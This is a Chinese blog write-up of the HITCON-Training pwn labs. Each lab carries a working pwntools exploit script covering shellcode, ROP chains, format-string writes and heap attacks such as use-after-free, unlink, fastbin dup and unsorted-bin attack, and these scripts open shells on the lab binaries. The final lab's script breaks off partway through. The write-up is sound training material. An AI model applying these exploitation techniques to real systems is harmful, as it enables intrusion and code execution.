kir[A]'s 小黑屋

Hitcon-Training-Writeup

字数统计: 4.2k阅读时长: 23 min
2018/07/11 Share

Outline

  • Basic Knowledge
    • Introduction
      • Reverse Engineering
        • Static Analysis
        • Dynamic Analysis
      • Exploitation
      • Useful Tool
        • IDA PRO
        • GDB
        • Pwntool
      • lab 1 - sysmagic
    • Section
    • Compile,linking,assmbler
    • Execution
      • how program get run
      • Segment
    • x86 assembly
      • Calling convention
      • lab 2 - open/read/write
      • shellcoding
  • Stack Overflow
    • Buffer Overflow
    • Return to Text/Shellcode
      • lab 3 - ret2shellcode
    • Protection
      • ASLR/DEP/PIE/StackGuard
    • Lazy binding
    • Return to Library
      • lab 4 - ret2lib
  • Return Oriented Programming
    • ROP
      • lab 5 - simple rop
    • Using ROP bypass ASLR
      • ret2plt
    • Stack migration
      • lab 6 - migration
  • Format String Attack
    • Format String
    • Read from arbitrary memory
      • lab 7 - crack
    • Write to arbitrary memory
      • lab 8 - craxme
    • Advanced Trick
      • EBP chain
      • lab 9 - playfmt
  • x64 Binary Exploitation

    • x64 assembly
    • ROP
    • Format string Attack
  • Heap exploitation

    • Glibc memory allocator overview
    • Vulnerablility on heap
      • Use after free
        • lab 10 - hacknote
      • Heap overflow
        • house of force
          • lab 11 - 1 - bamboobox1
        • unlink
          • lab 11 - 2 - bamboobox2
  • Advanced heap exploitation
    • Fastbin attack
      • lab 12 - babysecretgarden
    • Shrink the chunk
    • Extend the chunk
      • lab 13 - heapcreator
    • Unsortbin attack
      • lab 14 - magicheap
  • C++ Exploitation
    • Name Mangling
    • Vtable fucntion table
    • Vector & String
    • New & delete
    • Copy constructor & assignment operator
      • lab 15 - zoo

lab1-sysmagic

这是一题逆向,应该是让你学会静态分析及动态调试。

1
2
3
4
5
6
7
8
9
fd = open("/dev/urandom", 0);
read(fd, &buf, 4u);
printf("Give me maigc :");
__isoc99_scanf("%d", &v2);
if ( buf == v2 )
{
for ( i = 0; i <= 0x30; ++i )
putchar((char)(*(&v5 + i) ^ *((_BYTE *)&v54 + i)));
}

伪代码跟原C代码非常相似了,就是简单xor,静态方法代码如下:

1
2
3
v5 = "Do_you_know_why_my_teammate_Orange_is_so_angry???"
v54 = [7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66]
print ''.join([chr(ord(x)^y) for x,y in zip(v5,v54)]) #CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}

修改代码方法修改if的判断即可,jnzjz

1
2
.text:08048722                 jz      short loc_8048760 ; Keypatch modified this from:
.text:08048722 ; jnz short loc_8048760

patch后运行

gdb动态调试也可

1
2
b *get_flag+389  #下断点
set $eax=$edx #改成一样 cmp自然能过

lab2-orw.bin

1
2
3
4
5
6
7
[*] '/home/kira/HITCON-Training/LAB/lab2/orw.bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

代码很简单,输入后可以运行shellcode,但要留意一下orw_seccomp()这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h]
char *v2; // [esp+8h] [ebp-80h]
char v3; // [esp+Ch] [ebp-7Ch]
unsigned int v4; // [esp+6Ch] [ebp-1Ch]

v4 = __readgsdword(0x14u);
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v4;
}

这个函数会限制syscall的使用,本题只能用open,read,write这三个syscall来cat flag,需要手工进行shellcode编写。调用可通过man查看或到这个网站

1
2
3
int open(const char *pathname, int flags);              //eax=0x5
ssize_t read(int fd, void *buf, size_t count); //eax=0x3
ssize_t write(int fd, const void *buf, size_t count); //eax=0x4

手写版:fp = open("flag",0) -> read(fp,buf,0x30) -> write(1,buf,0x30)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
p = process('./orw.bin')
shellcode='''
xor ecx,ecx
mov eax,0x5
push ecx
push 0x67616c66
mov ebx,esp
xor edx,edx
int 0x80

mov ebx,eax
mov ecx,esp
mov ebx,0x3
mov dl,0x30
int 0x80

mov eax,0x4
mov bl,0x1
int 0x80
'''
p.recvuntil(":")
p.send(asm(shellcode))
p.interactive()

利用pwntools的shellcraft写:

1
2
3
4
5
6
7
shellcode = shellcraft.pushstr("flag")  #flag路径
shellcode += shellcraft.open("esp")
shellcode += shellcraft.read("eax", "esp", 0x30)
shellcode += shellcraft.write(1, "esp", 0x30)
p.recvuntil(":")
p.send(asm(shellcode))
p.interactive()

lab3-ret2sc

1
2
3
4
5
6
7
[*] '/home/kira/HITCON-Training/LAB/lab3/ret2sc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-14h]

setvbuf(stdout, 0, 2, 0);
printf("Name:");
read(0, &name, 0x32u);
printf("Try your best:");
return (int)gets(&s);
}

name处写入shellcode,覆盖ret为shellcode地址,需要注意的是通过esp寻址的,因此具体的offset可以通过调试查看
image

1
2
3
4
5
6
7
from pwn import *

p = process('./ret2sc')
name = 0x804a060
p.sendlineafter(":",asm(shellcraft.sh()))
p.sendlineafter(":",'a'*32+p32(name))
p.interactive()

lab4-ret2lib

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab4/ret2lib'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // ST04_4
int v4; // ST08_4
char src; // [esp+12h] [ebp-10Eh]
char buf; // [esp+112h] [ebp-Eh]
_DWORD *v8; // [esp+11Ch] [ebp-4h]

puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, &buf, 0xAu);
v8 = (_DWORD *)strtol(&buf, v3, v4);
See_something(v8); // return printf("The content of the address : %p\n", *a1);
printf("Leave some message for me :");
fflush(stdout);
read(0, &src, 0x100u);
Print_message(&src); // strcpy(&dest, src);
// return printf("Your message is : %s", &dest);
puts("Thanks you ~");
return 0;
}

开了NX,程序自带打印内存信息的函数,泄露函数地址,溢出后组ROP即可

1
2
3
4
5
6
7
8
9
10
11
12
p = process("./ret2lib")
elf = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

p.sendlineafter(":", str(elf.got["puts"]))
p.recvuntil(" : ")
libc.address = int(p.recvuntil("\n", drop = True), 16) - libc.symbols["puts"]
success("libcBase -> {:#x}".format(libc.address))

payload = flat('a'*60, libc.symbols["system"], 0xdeadbeef, next(elf.search("sh\x00")))
p.sendlineafter(" :", payload)
p.interactive()

lab5-simplerop

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab5/simplerop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h]

puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
}

先找一下常用的rop

1
2
3
4
5
0x0809a15d : mov dword ptr [edx], eax ; ret
0x0806e829 : pop ebx ; pop edx ; ret
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
0x080bae06 : pop eax ; ret
0x080493e1 : int 0x80

用ROPgadget用直接生成ropchain,然鹅输入长度不够,必须进行手工修改。方法一:调用read将/bin/sh读入bss段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p_eax_ret = 0x080bae06
p_edx_ecx_ebx_ret = 0x0806e850
int_80 = 0x80493e1

rop = 'a'*32
rop += flat(elf.sym['read'], p_edx_ecx_ebx_ret, 0, elf.bss(), 0x10)
rop += flat(p_edx_ecx_ebx_ret, 0, 0, elf.bss())
rop += flat(p_eax_ret, 0xb, int_80)
print len(rop) # 80

p.sendlineafter(':',rop)
raw_input('getshell')
p.sendline('/bin/sh\x00')
p.interactive()

方法二,修改一下自动生成的ropchain,主要是改了后半段繁琐的rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from struct import pack
# Padding goes here
rop = 'a' * 32
rop += pack('<I', 0x0806e82a) # pop edx ; ret
rop += pack('<I', 0x080ea060) # @ .data
rop += pack('<I', 0x080bae06) # pop eax ; ret
rop += '/bin'
rop += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x0806e82a) # pop edx ; ret
rop += pack('<I', 0x080ea064) # @ .data + 4
rop += pack('<I', 0x080bae06) # pop eax ; ret
rop += '/sh\x00'
rop += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
rop += pack('<I', 0)
rop += pack('<I', 0)
rop += pack('<I', 0x080ea060)
rop += pack('<I', 0x080bae06) # pop eax ; ret
rop += pack('<I', 0xb)
rop += pack('<I', 0x080493e1) # int 0x80
print len(rop) #100

p.sendlineafter(':',rop)
p.interactive()

lab6-migration

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab6/migration'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-28h]

if ( count != 1337 ) //初始值为1337
exit(1);
++count;
setvbuf(_bss_start, 0, 2, 0);
puts("Try your best :");
return read(0, &buf, 0x40u);
}

本题有两个限制:

  1. main只能使用一次
  2. 溢出长度只有20字节可以使用

需要使用栈迁移stack privot(或者叫stack migrate),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from time import sleep

elf = ELF("./migration")
libc = elf.libc
buf = 0x0804a000 + 0x200
pr = 0x0804836d
pppr = 0x08048569
leave_ret = 0x08048504

#d(['0x08048502'])
# step1: write rop1
payload = 'a'*0x28 + flat(buf,elf.plt['read'],leave_ret,0,buf,0x100)
p.sendafter(':\n',payload)
sleep(0.1)
# step2: leak libc.address & write rop2
payload = flat(buf+0x200,elf.plt['puts'],pr,elf.got['puts'],elf.plt['read'],leave_ret,0,buf+0x200,0x100)
p.send(payload)
sleep(0.1)
libc.address = u32(p.recv(4)) - libc.sym['puts']
success('libc.address:{:#x}'.format(libc.address))
# step3: getshell
payload = flat(0xdeadbeef,libc.sym['system'],0xdeadbeef,next(libc.search('/bin/sh\x00')))
p.send(payload)

p.interactive()

lab7-crack

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab7/crack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int fd; // ST14_4
char nptr; // [esp+8h] [ebp-80h]
char buf; // [esp+18h] [ebp-70h]
unsigned int v8; // [esp+7Ch] [ebp-Ch]

v8 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
v3 = time(0);
srand(v3);
fd = open("/dev/urandom", 0);
read(fd, &password, 4u);
printf("What your name ? ");
read(0, &buf, 0x63u);
printf("Hello ,");
printf(&buf);
printf("Your password :");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == password )
{
puts("Congrt!!");
system("cat /home/crack/flag");
}
else
{
puts("Goodbyte");
}
return 0;
}

最简单的格式化字符串漏洞,本题方法有三个:

  1. 泄露password的值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *

    password_addr = 0x804A048
    p = process('./crack')
    p.sendlineafter("?", p32(password_addr) + "#" + "%10$s" + "#" )
    p.recvuntil("#")
    password = u32(p.recvuntil("#", drop=True))
    p.sendlineafter(":", str(password))
    p.interactive()
  2. 修改password的值

    1
    2
    3
    4
    5
    6
    7
    from pwn import *

    password_addr = 0x804A048
    p = process('./crack')
    p.sendlineafter("?", fmtstr_payload(10, {password_addr: 7}))
    p.sendlineafter(":", str(7))
    p.interactive()
  3. 修改put@gotsystem("cat /home/crack/flag")

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *

    password_addr = 0x804A048
    puts_got = 0x804A01C
    cat_flag = 0x804872B
    p = process('./crack')
    p.sendlineafter("?", fmtstr_payload(10, {puts_got: cat_flag}))
    p.sendlineafter(":", "show me the flag!")
    p.interactive()

lab8-craxme

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab8/craxme'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+Ch] [ebp-10Ch]
unsigned int v5; // [esp+10Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
puts("Please crax me !");
printf("Give me magic :");
read(0, &buf, 0x100u);
printf(&buf);
if ( magic == 0xDA )
{
system("cat /home/craxme/flag");
}
else if ( magic == 0xFACEB00C )
{
system("cat /home/craxme/craxflag");
}
else
{
puts("You need be a phd");
}
return 0;
}

同样是格式化字符串漏洞,覆盖magic的方法不详述了,可以通过修改puts@gotread(0, &buf, 0x100u),修改printf@gotsystem@plt

1
2
3
4
5
6
p = process('./craxme')
elf = ELF('./craxme')
p.sendlineafter(":",fmtstr_payload(7, {elf.got['puts']:0x080485A1,elf.got['printf']:elf.plt['system']}))
sleep(0.1)
p.send('/bin/sh\x00')
p.interactive()

lab9-playfmt

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab9/playfmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int do_fmt()
{
int result; // eax

while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}

字符串存在bss段,不能直接利用,需要在stack上找一对指向stack的地址以及一对指向elf.code段的(有data段更好)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
00:0000│ esp  0xffffd480 —▸ 0x804a060 (buf) ◂— '123\n'
01:0004│ 0xffffd484 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffffd488 ◂— 0x4
03:000c│ 0xffffd48c —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffffd490 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
05:0014│ 0xffffd494 —▸ 0xf7fb8000 ◂— 0x1b1db0
06:0018│ ebp 0xffffd498 —▸ 0xffffd4a8 —▸ 0xffffd4b8 ◂— 0x0
07:001c│ 0xffffd49c —▸ 0x8048584 (play+59) ◂— nop step3:最后指向printf@got
08:0020│ 0xffffd4a0 —▸ 0xf7fb8d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffffd4a4 ◂— 0x0
0a:0028│ 0xffffd4a8 —▸ 0xffffd4b8 ◂— 0x0
0b:002c│ 0xffffd4ac —▸ 0x80485b1 (main+42) ◂— nop step3:最后指向printf@got+2
0c:0030│ 0xffffd4b0 —▸ 0xf7fb83dc —▸ 0xf7fb91e0 ◂— 0x0
... ↓
12:0048│ 0xffffd4c8 ◂— 0x0
13:004c│ 0xffffd4cc —▸ 0xf7e1e637 (__libc_start_main+247) ◂— add esp, 0x10
14:0050│ 0xffffd4d0 ◂— 0x1
15:0054│ 0xffffd4d4 —▸ 0xffffd564 —▸ 0xffffd6c3 ◂— 0x6d6f682f ('/hom') step1:这个用来做跳板1
16:0058│ 0xffffd4d8 —▸ 0xffffd56c —▸ 0xffffd6ef ◂— 'USER=kira' step1:这个用来做跳板2
17:005c│ 0xffffd4dc ◂— 0x0
... ↓
37:00dc│ 0xffffd55c —▸ 0xf7ffd918 ◂— 0x0
38:00e0│ 0xffffd560 ◂— 0x1
39:00e4│ 0xffffd564 —▸ 0xffffd6c3 ◂— 0x6d6f682f ('/hom') step2:指向最后指向printf@got的地址
3a:00e8│ 0xffffd568 ◂— 0x0
3b:00ec│ 0xffffd56c —▸ 0xffffd6ef ◂— 'USER=kira' step2:指向最后指向printf@got+2的地址
3c:00f0│ 0xffffd570 —▸ 0xffffd6f9 ◂— 'LOGNAME=kira'

观察stack情况,挑选标记那4个地址使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def hhn(addr,offset):
return "%{addr}c%{offset}$hhn".format(addr=addr,offset=offset)

def hn(addr,offset):
return "%{addr}c%{offset}$hn".format(addr=addr,offset=offset)

elf = ELF('./'+target)
libc = elf.libc
#gogogo
p.send('start')
p.recvuntil('start')
#step1
p.sendline('%6$p..%15$p..step1\x00')
esp_addr = int(p.recvuntil('..',drop=True),16) - 0x28
success('esp_addr:{:#x}'.format(esp_addr))
libc_start_main_247 = int(p.recvuntil('..',drop=True),16)
libc.address = libc_start_main_247 - libc.symbols['__libc_start_main'] - 247
success('libc.address:{:#x}'.format(libc.address))
#step2
payload = hn((esp_addr+0x1c)&0xffff,0x15)
payload += hn(((esp_addr+0x2c)&0xffff-(esp_addr+0x1c)&0xffff)%0xffff,0x16)
payload += 'step2\x00'
p.sendlineafter('step1',payload)
#step3
payload = hn((elf.got['printf'])&0xffff,0x39)
payload += hn(2,0x3b)
payload += 'step3\x00'
p.sendlineafter('step2',payload)
#step4
print hex(libc.symbols['system'])
payload = hhn(libc.symbols['system'] >> 16 & 0xff,0xb)
payload += hn((libc.symbols['system']&0xffff) - (libc.symbols['system'] >> 16 & 0xff),0x7)
payload += 'step4\x00'
p.sendlineafter('step3',payload)
#step5
p.sendlineafter('step4','/bin/sh\x00')
p.interactive()

lab10-hacknote

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab10/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
struct note
{
void (*printnote)();
char *content;
};

UAF利用,add两个大小32的note,然后free掉,根据FILO的原则,重新add一个8大小的note,content部分会用到第0个note的结构体空间,将print_note覆盖成magic即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

p = process('./hacknote')

def addnote(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)

def delnote(idx):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))

def printnote(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

magic = 0x08048986
addnote(32,"0")
addnote(32,"1")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
p.interactive()

lab11-bamboobox

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab11/bamboobox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

方法一: house of force

利用change_item里面修改content可以自定义长度的漏洞,修改top chunk size,malloc一个大数/负数来实现控制top_chunk的指针,从而达到任意地址写。

1
2
3
v3 = malloc(0x10uLL);
*v3 = hello_message;
v3[1] = goodbye_message;

程序在开头将两个函数地址放进heap中,将goodbye_message改成magic即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = "debug")

p = process("./bamboobox")

def add(length, name):
p.sendlineafter(":", "2")
p.sendlineafter(":", str(length))
p.sendafter(":", name)

def change(idx, length, name):
p.sendlineafter(":", "3")
p.sendlineafter(":", str(idx))
p.sendlineafter(":", str(length))
p.sendafter(":", name)

def exit():
p.sendlineafter(":", "5")

magic = 0x400d49
add(0x60,"1111")
change(0,0x70,"a"*0x60 + p64(0) + p64(0xffffffffffffffff)) # overwrite top chunk size
add(-160,"2222") # 减小top chunk指针
add(0x10,p64(magic)*2) # 分配块实现任意地址写
exit()
p.interactive()

方法二:unlink

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x6020c0
0x6020c0 <itemlist>: 0x0000000000000040 0x000000000063d030 <== ptr
0x6020d0 <itemlist+16>: 0x0000000000000080 0x000000000063d080
0x6020e0 <itemlist+32>: 0x0000000000000040 0x000000000063d110
-----------------unlink后-----------------
pwndbg> x/16gx 0x6020c0
0x6020c0 <itemlist>: 0x0000000000000040 0x00000000006020b0 <== ptr
0x6020d0 <itemlist+16>: 0x0000000000000000 0x0000000000000000
0x6020e0 <itemlist+32>: 0x0000000000000040 0x000000000063d110

制造fakechunk,修改box0content指向0x6020c8-0x18,此时修改box0content,就能写入0x6020b0处,改写成atoi@got,然后泄露地址并修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0x40, '0' * 8) #0
add(0x80, '1' * 8) #1
add(0x40, '2' * 8) #2
ptr = 0x6020c8 # box0的content

fakeChunk = flat([0, 0x41, ptr - 0x18, ptr - 0x10, 'a'*0x20, 0x40, 0x90])
change(0, 0x50, fakeChunk)
remove(1)
payload = flat([0, 0, 0x40, elf.got['atoi']])
change(0, 0x20, payload)
show()
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00')) - libc.sym['atoi']
success("libc.address -> {:#x}".format(libc.address))
pause()

change(0, 0x8, p64(libc.sym['system']))
p.sendline('$0')
p.interactive()

lab12-secretgarden

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab12/secretgarden'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序菜单如下:

1
2
3
4
5
1 . Raise a flower
2 . Visit the garden
3 . Remove a flower from the garden
4 . Clean the garden
5 . Leave the garden

结构体如下:

1
2
3
4
5
6
struct flower
{
__int64 inuse;
char *name;
char color[24];
};

漏洞点在del(),存在double free漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int del()
{
int result; // eax
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( !flowercount )
return puts("No flower in the garden");
printf("Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x63 && *(&flowerlist + v1) ) //没有检查inuse标记位
{
LODWORD((*(&flowerlist + v1))->inuse) = 0;
free((*(&flowerlist + v1))->name);
result = puts("Successful");
}

采用fastbin dup修改free@got即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def raiseflower(length,name,color):
p.sendlineafter(":","1")
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
p.sendlineafter(":",color)

def visit():
p.sendlineafter(":","2")

def remove(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

def clean():
p.sendlineafter(":","4")

magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"0","red")
raiseflower(0x50,"1","red")
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue") #0
raiseflower(0x50,"1","red")
raiseflower(0x50,"0","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")
p.interactive()

lab13-heapcreator

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab13/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞点在edit_heap(),留意以下代码,出现了off-by-one漏洞

1
2
3
4
5
6
if ( heaparray[v1] )
{
printf("Content of heap : ", &buf);
read_input(heaparray[v1]->content, heaparray[v1]->size + 1); //多了一字节
puts("Done !");
}

本题需要利用Extend the chunk,利用前提是存在可控的off-by-one,创造出overlap chunk,进而更改其他chunk中的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level = "debug"
p = process('./heapcreator')

def create(size, content):
p.sendlineafter(" :", "1")
p.sendlineafter(" : ", str(size))
p.sendlineafter(":", content)

def edit(idx, content):
p.sendlineafter(" :", "2")
p.sendlineafter(" :", str(idx))
p.sendlineafter(" : ", content)

def show(idx):
p.sendlineafter(" :", "3")
p.sendlineafter(" :", str(idx))

def delete(idx):
p.sendlineafter(" :", "4")
p.sendlineafter(" :", str(idx))


elf = ELF('./heapcreator')
libc = elf.libc

create(0x18,"0000") # 0
create(0x10,"1111") # 1
edit(0, "a"*0x18 + "\x41") # off by one
delete(1) # overlap chunk
create(0x30, p64(0)*4+p64(0x30)+p64(elf.got['atoi'])) #1
show(1) # leak libc.address
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00")) - libc.sym["atoi"]
success("libc.address -> {:#x}".format(libc.address))
edit(1,p64(libc.sym['system']))
p.sendline('/bin/sh\x00')
p.interactive()

lab14-magicheap

1
2
3
4
5
6
[*] '/home/kira/HITCON-Training/LAB/lab14/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

unsorted bin attack原理:堆在分配的时候,如果在申请的内存大小所对应的small bin或者large bin里面没有找到对应的chunk,此时会从unsorted bin里面去寻找chunk看是否存在合适的内存分配给用户,这个过程中会把unsorted bin链表给清空,清空的过程中没有进行检查,由此可能会发生任意地址可写。源代码如下:

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

如果bck的fd可以被我们控制,这个时候我们就可以让它指向任意地址,最终使*(bck->fd)+0x10的值被修改成unsorted_chunks(av)(一般来说是一个很大的正数,无法控制)。常见套路是修改global_max_fast全局变量,这个变量用于控制最大的Fast chunk的大小,就能使之后的chunk都被当作fast chunk,即可进行Fast bin attack

参考代码https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c

漏洞在edit函数,编辑的时候任意指定长度,本题只需要修改magic的值即可

1
2
3
4
5
6
7
8
9
if ( heaparray[v2] )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of heap : ", &buf);
read_input(heaparray[v2], v0);
puts("Done !");
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level = "debug"

p = process("./magicheap")
elf = ELF("./magicheap")

def create(size, content, attack = False):
p.sendlineafter("choice :", "1")
p.sendlineafter(" : ", str(size))
p.sendlineafter(":", content)


def edit(idx, size, content):
p.sendlineafter("choice :", "2")
p.sendlineafter(" :", str(idx))
p.sendlineafter(" : ", str(size))
p.sendlineafter(" : ", content)

def delete(idx):
p.sendlineafter("choice :", "3")
p.sendlineafter(" :", str(idx))

gdb.attach(p,'b *0x400C8C\nc\n')
create(0x10, 'aaaa')
create(0x80, 'bbbb')
create(0x10, 'cccc')
delete(1)
payload = 'a'*0x10 + p64(0) + p64(0x91) + p64(0) + p64(elf.sym["magic"] - 0x10)
edit(0, 0x10 + 0x20, payload)
create(0x80, 'dddd')
p.sendlineafter("choice :", "4869")
p.interactive()

lab15-zoo

参考资料:https://github.com/0x01f/slides/blob/master/pwn_others/pwnincplusplus-160217120850.pdf

1
2
3
4
5
6
7
[*] '/home/kira/HITCON-Training/LAB/lab15/zoo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

漏洞点在strcpy,没有限制长度,可以覆盖其他chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
class Dog : public Animal{
public :
Dog(string str,int w){
strcpy(name,str.c_str());
weight = w ;
}
virtual void speak(){
cout << "Wow ~ Wow ~ Wow ~" << endl ;
}
virtual void info(){
...
}
};

程序没有开nx,可以在nameofzoo里面放shellcode,覆盖vtable的指针即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'DEBUG')
sc = asm(shellcraft.sh())
p = process('./zoo')

def add_dog(name,weight):
p.sendlineafter(":","1")
p.sendlineafter(":",name)
p.sendlineafter(":",str(weight))

def remove_ani(idx):
p.sendlineafter(":","5")
p.sendlineafter(":",str(idx))

def listen(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

#gdb.attach(p,"b *0x40193E\nc\n")
nameofzoo = 0x605420
